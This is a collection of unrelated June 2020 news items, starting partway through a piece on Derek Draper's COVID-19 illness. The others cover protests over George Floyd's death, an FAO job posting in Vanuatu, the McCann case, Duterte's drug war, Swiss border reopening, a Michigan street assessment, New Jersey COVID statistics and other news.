'One doctor said this to me he is the worst affected person he's had to treat that's lived. This is an evil virus.'

'I don't want to scare people, Derek's situation is extremely rare, some of the damage he's got, hes only one of five ppl they have seen it in

'I was praying, please don't let him die. We think of COVID as you live, mercifully, or die.

'More and more people are living but with completely unforseen consequences

'I can't thank all of the doctors and nurses who have been involved with this.'

'It is an absolute miracle he's still here. If I could just have one more and he could just make that next step....

There for you: Former Labour party leader Ed Miliband also gave his best wishes to Kate and Derek, who he has worked with as a lobbyist

Kate was inundated with support from fans who lauded her bravery for speaking openly about Derek's condition on television, with GMB host Susanna Reid, Laura Tobin, Lorraine Kelly and Georgia Toffolo tweeting in support of her.

Former Labour party leader Ed Miliband also gave his best wishes to Kate and Derek, who he has worked with as a lobbyist.

He said: 'I've known Derek for 25 years, obvs I've known Kate well, and all my thoughts go out and good wishes to her and Derek at the moment.

'She was so brave during the interview, and these are incredibly difficult times for her, this is a very personal thing for me

'I knew Derek when he was a researcher early on in the House Of Commons, he loves politics, even thought he's not in it at the moment, but he's an extraordinary person .

'He and Kate are extraordinary people and they are an amazing family, and our hearts go out to them all, she's just showing incredible bravery and courage during this time, all my hopes are with him in the days and weeks ahead.'

Hope: The television personality wrote: 'No official #clapforcarers tonight but we just wanted have our own mini one as our heart felt thanks go on to all fighting to keep Derek with us'

Applause: Kate said in the video: 'Thank you NHS', and smiled as her children clapped for the camera

This comes as Kate and her children clapped for carers on Thursday night, a week after the official tribute ended.

The Good Morning Britain host took to Instagram to share a video of herself and her children applauding key workers in her kitchen.

Kate said in the video: 'Thank you NHS', and smiled as her children clapped for the camera.

The television personality wrote: 'No official #clapforcarers tonight but we just wanted have our own mini one as our heart felt thanks go on to all fighting to keep Derek with us.

'Tomorrow I will have the chance to update you & thank you for all your support on @gmb - see you at seven. #hope #staypositive'.

Well wishes: A host of stars commented on Kate's post. Nicola McLean typed: 'Sending you all so much love', while Kimberley Walsh posted a red love heart emoji

A host of stars commented on Kate's post. Nicola McLean typed: 'Sending you all so much love', while Kimberley Walsh posted a red love heart emoji.

Helen Skelton added: 'Sending love'.

Kate has not been on Good Morning Britain since Derek fell ill in March.

Last week, Kate wiped away tears as she took part in a nationwide applause in honour of the NHS key workers for the final Clap for Carers.

She also shared an update about Derek in a heartfelt Instagram post, revealing while her 'heart sinks everyday' her husband is 'still here' although his battle is 'far from over'.

Back in April it was revealed that Derek had been hospitalised with COVID-19 while Kate and their children isolated at home after she displayed 'mild symptoms.'

Just days before, the presenter voiced her fears on Good Morning Britain after meeting with Prince Charles before he tested positive for coronavirus.

She spoke about their encounter live on air, revealing that the pair had got 'relatively close' at the Prince's Trust Awards on March 11.

Kate's spokesperson told MailOnline: 'Kate's husband, Derek Draper, has been taken to hospital and is being treated in intensive care with a confirmed case of COVID-19.

He was admitted on Monday and has since tested positive for the virus.

Marriage: Kate and Derek have been married for 14 years (pictured in 2010 with their son Billy)

'Kate, hasn't been tested, however she has also been displaying mild symptoms, also since Monday, and as a result has been on strict isolation with her children at home.'

Shortly after Kate met Prince Charles on March 11, GMB played footage of the two together.

The presenter pointed out: 'We're relatively close there, as indeed were all the other people that were involved in that.

Kate has kept followers updated throughout Derek's ongoing battle, taking part in the weekly Clap For Carers celebration honouring those on the frontline.

She previously wrote: 'We had a an extra special reason to #clapthecarers in our house tonight but there's a special reason for us all isn't there.

Heartfelt: Kate shared a video of herself clapping for the NHS on Thursday night where she said her family had an 'extra special reason' to clap for our carers

'Thank thank you to all the health workers caring for our loved ones and key workers keeping our lives going [clapping emojis] you are incredible.'

She also detailed how she had FaceTimed her comatose husband during the weekly Clap For Carers initiative and gushed that she 'believed he can hear us'.

During the video call, Kate beamed as she watched children light smoke coloured flares, while talking to her husband, who she believes could hear her.

Updates: Kate has taken to Instagram to update fans during the heartbreaking time

Kate took to Instagram to share a video of her son Billy showing a lego version of his family with Derek taking centre stage on a stand, for his dad to have at his hospital bedside.

The following morning, Ben then read out her post, saying: 'So our #nhsclap was a little different tonight. We still clapped & cheered as much as ever but I couldn't film on my phone as had Derek on FaceTime throughout!

'Of course we can't KNOW but I believe he can hear us [he's still in a coma] & thought at least the incredible @nhs team's looking after him would hear our gratitude...

'Love to all in these terrible times - the separation from loved ones whatever the reason is so tough.'
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Linkedin News Desk (Agence France-Presse) New York, United States  Fri, June 5, 2020 11:00 595 fc6853813033f564188675f8bdc55ebe 2 World new-york,Bill-de-Blasio,George-Floyd,memorial,vigil,anti-racism-protests,anti-racism,racial-issues,racial-tension,racial-violence Free

New York's mayor was widely booed Thursday during a vigil for George Floyd, an unarmed African American killed by police, after the official defended heavy handed policing of protesters defying the city's curfew.

Hundreds of mourners jeered over Bill de Blasio's brief remarks at the Brooklyn service following a night in which videos circulating online showed police officers using batons on peaceful demonstrators.

De Blasio told reporters he had not seen the footage but defended how the curfew was being enforced, saying that the NYPD had "overall" shown "a lot of restraint."

The mayor said: "In the context of crisis, in the context of curfew, there is a point where enough is enough.

"If officers say now is the point we need you to go home, it's time to go home."

At the vigil, demonstrators among the several thousand in attendance chanted, "De Blasio go home!" and "Vote them out!" The mayor left shortly afterwards.

The death of Floyd in Minneapolis last week unleashed outrage across the United States, with New York among dozens of cities seeing massive protests.

Floyd stopped breathing when a white police officer knelt on his neck for nearly nine minutes during an arrest for a non-violent suspected offence.

Demonstrations earlier this week turned violent, with widespread looting, leading de Blasio to impose New York's first curfew since World War II. It runs for the next four nights.

The mayor is facing the biggest crisis of his leadership as the city still reels from the coronavirus crisis that has killed 21,000 New Yorkers.

He has been criticized for supporting the police's tactics but also for not preventing the looting of upmarket stores that rocked Manhattan neighborhoods on Sunday and Monday.

A change.org petition launched last year calling for the removal of de Blasio has gained fresh impetus this week and now has around 110,000 signatures.

New York Governor Andrew Cuomo, who is known to have a rocky relationship with de Blasio, mentioned on Tuesday that he has the power to "displace" the mayor.

Elsewhere, around 400 current and former members of de Blasio's administration have signed an open letter slamming him for his refusal to condemn police "brutality" during the protests.

On Saturday, a video showed a police car driving into demonstrators in Brooklyn.

De Blasio, 59, hoped to be the Democratic Party's presidential nominee for November's election but his campaign last year failed to garner much support.
National M&E-GIS/Data Management Specialist, Port Vila, Vanuatu

Organization: Food and Agriculture Organization of the United Nations (FAO)

Country: Vanuatu

City: Port Vila, Vanuatu

Office: FAO in Port Vila, Vanuatu

Closing date: Friday, 12 June 2020

2001111

National M&E-GIS/Data Management Specialist

Job Posting: 29/May/2020

Closure Date: 12/Jun/2020, 9:59:00 PM

Organizational Unit : SAPDD

Job Type: Non-staff opportunities

Type of Requisition : NPP (National Project Personnel)

Grade Level : N/A

Primary Location: Vanuatu-Port Vila

Duration : 12 months

Post Number : N/A

IMPORTANT NOTICE: Please note that Closure Date and Time displayed above are based on date and time settings of your personal device

FAO seeks gender, geographical and linguistic diversity in order to best serve FAO Members in all regions. Qualified female applicants are encouraged to apply. People with disabilities are equally encouraged to apply. All applications will be treated with the strictest confidentiality.

Organizational Setting

The Integrated Sustainable Land and Coastal Management (ISLCM) project is a five-year project funded by the Global Environment Facility (GEF) in partnership with the Food and Agriculture Organization of the United Nations (FAO) and the Vanuatu Government. FAO is the Implementing Agency (IA) and is providing the technical support to the Vanuatu Government in implementing the project. The Ministry of Climate Change, Ministry of Lands and Natural Resources and Ministry of Agriculture, Quarantine, Forestry and Fisheries are the Executing Agencies and national counterparts for the project. The project will be working closely with other partners within the public and private sectors as well as with members of the Non-Government Organizations (NGOs). The overall goal of the project is to test and implement sustainable and integrated management of forest, land and marine resources to achieve effective ridge-to-reef (R2R) conservation in selected priority watersheds in Vanuatu.

Reporting Lines

Under the overall administrative leadership of FAO Sub-regional Representative for the Pacific Islands in Samoa and under the direct technical guidance of the Lead Technical Officer (LTO) and direct supervision of the Chief Technical Advisor (CTA), the National Project Coordinator (NPC), the National Project Officer (NPO) as well as with close collaboration and consultation with the Vanuatu GEF Operational Focal Point (OFP) and with relevant Government Ministries and national counterparts on the project islands, the National Monitoring&Evaluation -Geospatial Information Systems M&E-GIS Specialist will undertake the following tasks listed below: Technical Focus

The National M&E-GIS/Data Specialist will coordinate and lead the technical activities of the project on monitoring, evaluation and GIS/Data Management, development of a monitoring plan on Results-Based Management, GIS/Data Management, and Design of a GIS web-based portal for the public and key stakeholder organisation for disseminating hazard maps and associated information.

Specific outputs

A Project Result Based Monitoring Plan

A GIS web-based portal for Protected Areas

Updated and principal maps of Protected Areas produced

Tasks and responsibilities

Monitoring and Evaluation

Develop a monitoring plan that makes methodological and operational provision for the measurement of each of the indicators specified in the project results framework, including the definition of pending baseline values and subsequent measurements throughout the life of the project;

Formulate and implement mechanisms to allow the results of monitoring to be input in an effective and timely manner into project decision-making in accordance with the concept of adaptive management.

Ensure that the results of monitoring are available and presented in a useful manner to external evaluators at project mid-term and end.

Formulate and implement mechanisms for the systematisation of lessons learned by other relevant initiatives in the country and the region (including through the regional R2R programme) and for their incorporation into the formulation of the projects strategies.

GIS/Data Management

Undertake user requirements specification for the GIS/data management system.

Define data and metadata standards for the project.

Design and implement a suitable and scalable GIS data repository platform. Act as data custodian to manage data repository.

On-going update, maintenance and management of data repository throughout the project.

Collect, collate and manage all spatial data sets for the project throughout the project timeframe.

Design and implementation of a suitable and scalable GIS data repository platform and Spatial Data Infrastructure (SDI).

Undertake GIS analyses to support the hydrological and hydraulic modelling, water resources assessment, geomorphologic and geotechnical studies and flood economics, participatory (apply method of PPGIS where possible) methods etc.

Responsible for map generation from technical studies/modelling.

Design of a GIS web-based portal for the public and key stakeholder organisation. With the purpose of disseminating hazard maps and associated information, such as hydro meteorological telemetric and Food Early Warning System (FEWS) data to central and local government stakeholders.

Undertake GIS analyses to support the hydrological and hydraulic modelling, geomorphologic and geotechnical studies, flood economics studies.

CANDIDATES WILL BE ASSESSED AGAINST THE FOLLOWING

Minimum Requirements

National Vanuatu

Tags biodiversity climate change computer science continuous improvement data management database management executing agencies fisheries global environment facility information science information systems information technology knowledge sharing local government marine resources monitoring and evaluation natural resources participatory project personnel protected areas remote sensing results based management social sciences spatial data time management water resources

A university degree in agriculture, social sciences, computer science, information technology, engineering, geospatial information science, remote sensing, cartography, geography or a related field;

At least two years of professional GIS experience in conducting GIS project(s) involving data management, map production, and spatial analysis;

Good English reading and fair writing skills are required, Bislama.

FAO Core Competencies

Results Focus

Teamwork

Communication

Building Effective Relationships

Knowledge Sharing and Continuous Improvement

Technical/Functional Skills

Good communication skills and ability to work in team;

Good knowledge of GIS applications;

Good organizational, time management and facilitation skills;

Possess adequate knowledge of biodiversity and natural resources management system in Vanuatu;

Previous working experience in the relevant field with international organizations is desirable;

Practical experience in database-system application development and database management;

Good interpersonal and training skills are an advantage;

Have a working experience in monitoring and evaluation;

ADDITIONAL INFORMATION

FAO does not charge a fee at any stage of the recruitment process (application, interview meeting, processing)

Incomplete applications will not be considered. If you need help please contact: Careers@fao.org

Applications received after the closing date will not be accepted

Only language proficiency certificates from UN accredited external providers and/or FAO language official examinations (LPE, ILE, LRT) will be accepted as proof of the level of knowledge of languages indicated in the online applications

For additional employment opportunities visit the FAO employment website: http://www.fao.org/employment/home/en/

FAO seeks gender, geographical and linguistic diversity in its staff and international consultants in order to best serve FAO Members in all regions.

HOW TO APPLY

Candidates are requested to attach a letter of motivation to the online profile. We encourage applicants to submit the application well before the deadline date. If you need help, or have queries, please contact: Careers@fao.org
Canadian Prime Minister Justin Trudeau attended an anti-racism protest on Friday where he took a public knee in solidarity with demonstrators - but not without being reminded of his blackface photos.

Trudeau, 48, wearing a black mask and surrounded by bodyguards, made a surprise appearance on Parliament Hill in Ottawa where he made the gesture used to protest against police brutality and the treatment of black people by police.

While some thanked him for his support, many on social media were quick to point out his history of wearing blackface which emerged in several photos last year.

Scroll down for video

Justin Trudeau took a public knee in solidarity with demonstrators during an anti-racism rally in Ottawa on Friday

Trudeau made a surprise appearance at the protest on Parliament Hill, where some were heard chanting, 'Stand up to Trump'

After making the gesture, social media users were quick to bring up Trudeau's use of blackface which emerged in photos last year

During the rally, one protester was heard heckling Trudeau, shouting, 'Go home blackface,' as he marched in.

Meanwhile on Twitter, many scoffed at his kneeling, with one person calling it 'just another photo op.'

'Trudeau couldn't get away with going to this event in blackface so he went with a black mask instead,' one person tweeted.

Another critic said the gesture was 'as effective as wearing blackface to end racism...which he has also done.'

Trudeau came under fire last September after three photos emerged of him wearing blackface, including one of him in costume during a 2001 Arabian Nights party when he was a teacher.

He later issued a public apology calling the incidents 'something that I deeply, deeply regret.'

Many took to Twitter to comment on Trudeau's kneeling gesture after he was revealed to have worn blackface in the past

During the protest, demonstrators were also heard chanting, 'stand up to Trump!' in reference to Trudeau's awkward response after he was asked to comment on the president's idea of using soldiers against protesters.

The Liberal prime minister paused for more than 20 seconds before answering that Canadians were watching the United States with 'horror and consternation.'

Earlier during his daily press conference, Trudeau acknowledged 'the systemic discrimination that has existed for far too long in our country.'

'I look forward to continuing to see thousands of Canadians protesting peacefully right across the country,' he said.

Trudeau did not speak at the rally, but listened to the speeches, after which the protesters began a march to the U.S. Embassy and the prime minister returned to his office.
Madeleine McCann parents Kate and Gerry have long fought to find their missing daughter. (PA)

German police have identified a new prime suspect in the disappearance of Madeleine McCann  and her parents have fresh hope they will find out what happened to their daughter.

Kate and Gerry McCann have always vowed to continue searching for their daughter in their 13-year-quest to uncover the truth.

In a statement accompanying the revelation that a suspect had been identified in her disappearance, the couple said: "All we have ever wanted is to find her, uncover the truth and bring those responsible to justice.

Heres what else the McCanns have said throughout the years about their search for their daughter.

Gerry and Kate McCann arrive at the European Parliament in Brussels, Belgium. in 2008. (AP)

May 2008

On the first anniversary of Madeleines disappearance, Kate said that she senses that her daughter is alive.

She said: Madeleine just feels very close. It's more of a kind of sensation that she's there. You try to be objective and you think it is because I am her mum and I want to believe, but it has not changed.

Gerry added: Today is about Madeleine and today is about us stating our absolute categoric belief that there's no evidence Madeleine has been seriously harmed

People want to help. They must want to help. She's a completely innocent four-year- old girl. Surely we can find her if everyone pulls together.

July 2008

With the case closed, and no suspects identified, Kate and Gerry were officially cleared of any involvement in Madeleines disappearance.

And, despite mounting legal issues, the couple reaffirmed the search for their daughter.

MORE: Scientists reveal reaction to Boris Johnson's infamous 'shaking hands' speech

Kate said the news they were no longer suspects was no cause for celebration, while Gerry added: Our priority has always been the search for Madeleine and that will be what will be prioritised in the coming weeks.

Kate and Gerry McCann talk to the media outside a court in Lisbon. (AP)

May 2009

On the day an age progression image of their daughter was released, on the second anniversary of her disappearance, the couple said: "It is two long years since Madeleine was taken. It is two years since we were a happy family of five. The pain and anxiety does not lessen, but our determination to find our beautiful daughter remains steadfast

Story continues

"Madeleine is still missing! She has the right to be back with her family. We have a responsibility to keep looking for her. We urge you  please do not give up on Madeleine.

February 2010

After the Portuguese detective who led the initial investigation into Madeleines disappearance lost his attempt to overturn a ban on a book where he claimed the Kate and Kerry were involved in her disappearance, the couple highlighted how they were still holding onto hope that she was still alive.

They said: "By upholding the injunction against Goncalo Amaral's book and DVD, the judge has rightly agreed that there has been significant, ongoing damage to the search for our beloved daughter Madeleine and to the rights of our family.

"We are grateful to the judge for accepting that this injustice must not continue. The court case has demonstrated, once again, that there is no evidence that Madeleine has come to any harm.

Kate and Gerry McCann pose with a missing poster depicting an age progression computer generated image of their daughter Madeleine at nine years of age. (AP)

April 2010

As the third anniversary approached, Kate said: Certainly in my heart I feel she is out there. I mean, I know there is nothing to say that she isnt so we have to carry on working and thinking like that.

Gerry also reflected on how police in Portugal and the UK were not doing more to find their daughter, adding: Its not right that an innocent British citizen is essentially given up on and I dont think that it is right that, as parents, we have to drive the search.

May 2011

On the fourth anniversary of Madeleines disappearance, Kate told the BBC that she believed her daughter was still alive.

She said: "We know there's no evidence at all that's she's come to harm. There's many cases of missing children who disappear off the radar for really long periods of time and still be found alive.

MORE: Chester Zoo 'at risk of extinction' after losing millions

"I feel that she's still out there. There's nothing telling me to stop or slow down. I truly believe she's out there and if we can get the help we need, we can find her and bring her home."

Kate and Gerry McCann react during a BBC TV interview ahead of the 10th anniversary of Madeleine's disappearance. (AP)

February 2016

Kate said she believed Madeleine had been taken far from Praia da Luz, which she described as the place where I feel closest to her.

She added to The Sun: The urge to look for Madeleine absolutely hasnt changed at all. You hear all the time about people who have been missing for years being found. There have been so many cases like that.

We will never give up. You couldnt settle if you thought about giving up. I want an end, an answer. Whatever that it is.

Kate and Gerry McCann hold hands during a news conference at a hotel in Lisbon. (AP)

December 2019

Last Christmas, a message on the official Find Madeleine Facebook page, said "nothing has changed.

As they faced their 13th Christmas without their daughter, the McCanns added: "We love her, we miss her, we hope as always.

"The search for Madeleine goes on with unwavering commitment.

MORE: Paedophile-hunting group's evidence 'breached right to privacy'

June 2020

After a new prime suspect emerged, the McCanns said in a statement: "All we have ever wanted is to find her, uncover the truth and bring those responsible to justice.

"We will never give up hope of finding Madeleine alive, but whatever the outcome may be, we need to know as we need to find peace.
Duterte warning comes day after UN report that found near impunity in war on drugs that has left thousands dead.

President Rodrigo Duterte renewed on Friday a threat to kill drug dealers after the Philippines seized 756kg (1,667lbs) of crystal methamphetamine just a day after the United Nations found near impunity in the drug war that has defined his administration.

The drugs, with a market value that police estimated at 5.1 billion pesos ($102m), was one of the biggest seizures in recent years, and Duterte said it was proof that the Philippines had become a transhipment point for illegal drugs.

If you destroy my country distributing 5.1 billion pesos worth of shabu  I will kill you, Duterte said in recorded address, referring to the drugs.

The war on drugs has been a cornerstone of Dutertes presidency since he came to power in the Philippines in 2016, despite criticism from opponents and human rights groups of widespread abuses.

The UN said in a report on Thursday that tens of thousands of people may have been killed amid near impunity for police and incitement to violence by top officials.

An undertaker removes the body of a suspected victim of the Philippines war on drugs from a street in Pasay city, south of Manila, in March 2019 [Francis R. Malasig/EPA]

Government data puts the number of suspected drug dealers and users killed in anti-narcotics operations since July 2016 at 5,600.

Abject failure

Rights groups have accused the police of the summary execution of suspects. Police have denied the allegations, saying they have acted in self defence when suspects resisted arrest.

Dutertes office dismissed the UN report as rehashed claims and the accusation of impunity as unfounded.

Phil Robertson, deputy director of Human Rights Watchs Asia division, said the UN findings highlighted the almost total lack of accountability and the abject failure of justice in the country.

With President Duterte continuing to urge killing drug users, so-called leftists and even violators of COVID-19 quarantine or curfew orders, there is little likelihood that national mechanisms will hold anyone responsible for the carnage of the drug war that has killed thousands of Filipinos, Robertson said in a statement following the UN reports release.

Duterte did not say where the drugs were believed to have come from, but said the Philippines was a transhipment centre for Mexican drug cartels.

Duterte also hurled insults at human rights groups for criticising his anti-narcotics campaign.
By Akbar Mammadov

Azerbaijans State Border Service (SBS) has thwarted Armenian sabotage and provocation attempts on the border, the SBS press service reported on June 5.

The State Border Service also describe as false Armenian media reports alleging that Armenian forces have gained new combat positions by crossing the Azerbaijani-Armenian border in the Gazakh and Agstafa regions.

On the contrary, as a result of the advance of the State Border Service's border-combat positions, the enemy's ability to commit various sabotages and provocations in a number of directions was severely limited, SBS stated.

It should be noted that earlier, on 4 June, the official press service of the Armenian Defense Ministry, hayzinvor.am, reported that the Armenian armed forces had established a new combat position on the state border with Azerbaijan in northeastern Armenia.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
Switzerland says it plans to lift restrictions on travel from European Union countries and Britain on June 15.

The Swiss government previously had announced that it would completely reopen the country's borders with three of its neighbours -- Austria, Germany and France -- in mid-June.

On Friday, a government statement said "in view of the current epidemiological situation" it can now expand that to all countries in the EU and the European Free Trade Association, as well as Britain.

Switzerland is not a member of the EU but is part of Europe's usually passport check-free Schengen travel area.
JACKSON, MI  Residents are upset about how much theyre required to pay for Franklin Street construction thats scheduled to start Monday, June 8.

A special assessment for the project was approved 4-2 by the Jackson City Council at its Tuesday, May 26 virtual meeting. Councilmen Will Forgrave, 6th Ward, and Freddie Dancy, 2nd Ward, voted against the assessment.

It is absolutely ridiculous that the city would slap owners in the face with $10,000 due, Barbara Tomb said in a letter to council. Seriously, how I am supposed to supply the city with $10,000 during these times of economic hardship. What a bunch of scoundrels. That amount is ridiculously high.

The .5-mile stretch of the street is projected to cost nearly $1.9 million, city officials said. The citys major street fund will pay $764,389 of that, with the remaining $502,927 coming from the special assessment.

There are 46 lots along W. Franklin Street from Brown Street to S. West Avenue that were assessed. Property owners will pay between $4,952 and $23,768, for an average of $10,933 per lot, per city documents.

Council passed a cap of $15,000 for special assessments of residential properties May 12. However, that cap does not apply to a property owned by Franklin Partners, LLC, 800 W. Franklin St., which owes $23,768, nor does it apply property owned by the Life Church International, 1101 W. Franklin St., which owes $21,525, documents show.

Twenty-two letters were submitted to council as public comment or written objections to these assessments. All protested the amount of the assessment, but some were not against the assessment in general.

Jackson residents paying part of $2.5-million roundabout construction

During the virtual meeting, the names and addresses of the people who submitted these letters were read, but the contents of the public comment letters were not read into the record. Only a single sentence summary of all comments was provided to council by City Clerk Andrea Murray.

A video the meeting is on the citys Facebook page.

Not reading the letters submitted for public comment into the meetings official record could be a violation of the Open Meetings Act, according to Gov. Gretchen Whitmers executive order about virtual meetings, attorneys with the Michigan Press Association said.

City Attorney Matt Hagerty did not address this, or the fact that the public comments were not read into the record, when asked about this potential violation.

The Jackson Citizen Patriot/MLive obtained all 22 letters through a Freedom of Information Act request.

And public comments for additional public hearings later in the meeting were read in full after multiple councilmembers asked that be done in the interest of transparency.

For the publicness of this meeting, I think its good that theyre also read publicly, Councilman Jeromy Alexander, Ward 3, said at the meeting.

Property owners with corner lots on Grinnell and Franklin streets are paying two assessments because their lots have street frontage on both streets. Grinnell was assessed in August 2018, for an average $1,500 per lot.

We are formally protesting the amount and manner of which the special assessments were assessed and applied to our property, Nicholas and Grace Greiner said in a letter to the city.

For the Franklin Street assessment, the property owners will pay $9,903, records show. The owners asked to be removed from the Franklin assessment since they already paid for the Grinnell assessment, according to city documents.

A double assessment like that is possible for owners of corner lots, City Assessor Jason Yoakam said in an email.

Residents grill city on street-fixing method, but a millage is an option

Just because you have the right to do what you want, doesnt mean you should do what you want, Franklin Street resident Scott Hirko said. They may have the right to put a special assessment on ... but it doesnt mean you should without trying to be neighborly.

Some residents along Franklin Street were not opposed to the special assessment, but were opposed to the amount, documents obtained via FOIA show.

Paying income tax, property tax, sales tax, gas tax, and ever increasing water and sewer rates I wonder  have I not paid enough, Stephen Rajzer said in a letter sent to the city. If you say the answer is No, you have not paid enough, then by all means levy an assessment, but please consider the financial impact it will have on myself and my neighbors.

Property owners must make the first assessment payment by Dec. 1, per the resolution passed by council. That payment is delayed from July 1 because of the COVID-19 pandemic. Residents who do not pay the full amount by Dec. 1, will have 10 years to pay the assessment in installments with interest, per the resolution.

Franklin Street will be closed to through traffic starting mid-June until the construction is done mid-October, Assistant City Engineer Troy White said.

Water and sewer mains from 1919 and 1920 will be upgraded and a new road will be laid, officials said previously.

Brown Street will close to through traffic for about two weeks, starting Monday, White said. A water main will be installed under the street.

The posted detour is Michigan Avenue to Wisner Street to Morrell Street. All businesses on Brown Street will still be accessible, White said.

Three streets the intersect with W. Franklin Street, S. Higby Street, S. Thompson Street and S. Durand Street were previously assessed for separate projects in August 2018. The projects were delayed because the Franklin construction needed to be completed first, City Engineer Jon Dowling said.

Franklin construction was originally planned to start in 2019, but was delayed because of a lack of funds, Dowling said. After Franklin is done, construction will start on those streets, he said.

People dont like special assessments, particularly with todays circumstances with job loss and everything else and people tightening their pocketbooks," Hagerty said. "Its always things on the back of peoples minds that you dont want to pay additional things, but you get a big benefit from it as well. You have the opportunity to pay it off over a long period of time too.

READ MORE JACKSON NEWS:

Tremendous amount of grit in Jackson, will help economic recovery, mayor says

Jackson County officials say they wont pay for Gov. Whitmers executive orders

Ella Sharp being honored with new Ironbark Brewing Co. beer and artists can design the can

Virtual showcase highlights Jackson County students artwork

'If someone needs help, you help them, Parma Twp. resident starts donation drive for Midland flood victims
Mubadala, a United Arab Emirates state investment company, is investing $1.2 billion in Indian telco and digital services firm Jio Platforms.

The sovereign wealth fund, which has a venture arm split across Abu Dhabi and San Francisco, is the sixth investor to back Jio Platforms in as many weeks.

Other backers include Facebook, which is pumping $5.7 billion into the company in exchange for a 9.9% stake, and U.S. private equity firms Silverlake, Vista, General Atlantic and KKR.

Mubadala's stake in Jio Platforms, a company valued at $65 billion, will be almost 1.9%.

The Mubadala investment in Jio Platforms comes as the state investment vehicle stalls on whether to invest in SoftBank's Vision Fund II.

Jio Platforms has amassed over 388 million 4G subscribers on its Jio Infocomm mobile network since launching in 2016.

Today it is India's top telco and it also has several apps, and other services in e-commerce and broadband.

"Jio offers mobile Internet for nearly free and tries to make money by up-selling subscriptions to their own versions of Spotify and Netflix," said Vishal Gulati, a venture capital investor at London firm Draper Esprit.
Protesters rally as Philadelphia Police officers and Pennsylvania National Guard soldiers look on, Monday, June 1, 2020, in Philadelphia, over the death of George Floyd, a black man who was in police custody in Minneapolis. Floyd died after being restrained by Minneapolis police officers on May 25. (AP Photo/Matt Slocum) Read more

Even though a police officer killed George Floyd more than 1,000 miles away from Philadelphia, the incident hit close to home to many black and brown Philadelphians. A week of protests makes clear that we need a serious rethinking of what we need from police. Small reforms around the edges are not enough. This is a moment for Philadelphia to reimagine its police department -- its responsibilities, tactics, and accountability measures -- as well as who gets a say in shaping its future.

Through the years, there have been many calls for fixing a department troubled with scandals, but its recent history -- of racist social media posts, violent encounters, questionable arrests, and departmental turmoil shows that fault lines remain.

Stop-and-frisk is one telling lens of our policing problems. In 2019, stop-and-frisk continued on a massive scale: nearly 80,000 pedestrian stops and nearly 400,000 vehicle stops. More than 70% of those stopped were black. According to the ACLU of Pennsylvania, in the second half of 2019, about 16% of pedestrian stops and 32% of frisks did not meet the legal standard of reasonable suspicion. It further found 40% of stops were for quality of life issues -- open containers, truancy, and being in parks after hours.

Stops rarely remove firearms from the street. That perhaps helps explain why despite so many stops, shootings and homicides continue to increase, with already troubling numbers for this year. About half of those homicides, and most nonfatal shootings, will go unsolved.

Asking less of the police, and giving less

For decades, there have been efforts through training and internal policies to make interactions like stop-and-frisk seem more fair. Those efforts failed. We need to reassess what we are asking police to do.

Police officers are on the front lines of nearly every social ill -- addiction, homelessness, poverty, truancy, just to name a few. Instead of continuing to deploy police in situations that dont require law enforcement skills, the city should develop and scale up alternative systems. For example, for a year the city has been deploying an alternative response unit in Kensington. The AR-2 unit includes an EMT or paramedic and a behavioral health worker to treat overdoses and connect people with treatment options.

 READ MORE: The Fire Department shows what treating addiction like a disease, not a crime, looks like | Editorial

Alternative systems like AR-2 provide better services and reduce non-law enforcement work from an overburdened police department. They also reduce the chance of situations escalating to police brutality, as happened earlier this year when an officer punched and killed a person recovering from an overdose.

Last year, voters approved a charter amendment to create a new class of officers that will focus on traffic enforcement and other civil infractions. As part of the efforts to fill the estimated $649 million hole in the budget, Philadelphia is planning to delay hiring the safety officers until 2022.

Why not hire these officers, unarmed and without arrest power, to deal with the types of issues that drive 40% of pedestrian stops? That could reduce police workload and increase trust.

 READ MORE: Philly plans to increase police funding while cutting city services. Critics say thats a mistake.

Mayor Jim Kenneys budget currently proposes a $14 million increase to the police departments budget -- and about 20% cuts to the Office of Violence Prevention and the Police Advisory Commission. Kenney says there will likely be tweaks" to the budget. Those tweaks should include transferring $14 million to the type of alternative systems that improve quality of life, and allow police to focus on serious crimes.

Peoples Police Department

A group of black lawmakers and attorneys -- including Philadelphia-area state representatives, four members of City Council, chief defender Keir Bradford-Grey, and local attorneys Kevin Harden Jr. and Kevin Mincey -- published a set of reforms. It is a strong framework that is already making change on the state level: Gov. Tom Wolf announced some of these reforms -- including creating a deputy inspector general within the Pennsylvania Office of State Inspector General to investigate law enforcement agencies and a Pennsylvania State Law Enforcement Advisory Commission, among others.

 READ MORE: Wolf will appoint misconduct watchdog, establish commission to oversee Pa. state troopers, correctional officers

The reforms also include suggestions specific to Philadelphia such as calls to strengthen the advisory commission and increase transparency of internal affairs investigations -- a process currently wrapped in secrecy. There is a lot that Kenney cant do because of the FOP contract -- which was quietly extended for a year in March -- but there is no excuse to ignore these reforms.

We have arrived at a moment for designing a police department that is smaller, more focused, and subject to democratic accountability ... and one that Philadelphia deserves.
As the death toll from the coronavirus in New Jersey rose to 11,970 on Thursday, the number of hospitalizations hit a key marker, dropping under 2,000 for the first time in over two months.

The number of total cases in the state is now at 162,530, according to state officials, a figure that remains the second-highest among U.S. states behind New York.

CORONAVIRUS RESOURCES: Live map tracker | Businesses that are open | Homepage

Thursdays release of new data brought 92 new deaths and 603 new positive tests.

Is the above map not displaying? Click here.

Were seeing the numbers we needed to see," said Gov. Phil Murphy during his daily briefing in Trenton. "Weve slowed this virus. Were in very good position to move forward on our road back together.

There are now 1,982 patients with confirmed or suspected coronavirus cases at New Jerseys 71 hospitals, as of Wednesday night. Thats a 75% drop from the April 14 peak, a number Murphy called a milestone for our recovery.

Is the above chart not displaying? Click here.

Also at the briefing, Murphy laid out the plan for reopening nonessential retail businesses on June 15. Capacity will be limited to 50%, and customers and employees will be required to wear face coverings. Among those not yet permitted to reopen are stores at indoor malls unless they have separate entrance.

While it may seem odd for us to be wearing a face covering in our favorite local shop, with a store owner who may be our neighbor and friend, we have to recognize that this virus remains among us, the governor said.

COVID-19 doesnt care whether were in a supermarket or a bookstore. Social distancing must remain our routine.

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Our journalism needs your support. Please subscribe today to NJ.com.

Nick Devlin is a reporter on the data & investigations team. He can be reached at ndevlin@njadvancemedia.com.
Another student of a Nigerian institution has been reportedly raped and murdered in Ibadan, Oyo State capital.

The police confirmed the murder but denied that the victim was raped.

The latest victim was identified as Azeezat Shomuyiwa, said to be a postgraduate student of the University of Ibadan.

She was attacked on Thursday at her house in Aba Ijefun, Akinyele Local Government Area of Ibadan.

The case is currently trending on Twitter as PREMIUM TIMES makes efforts to reach the family of the victim.

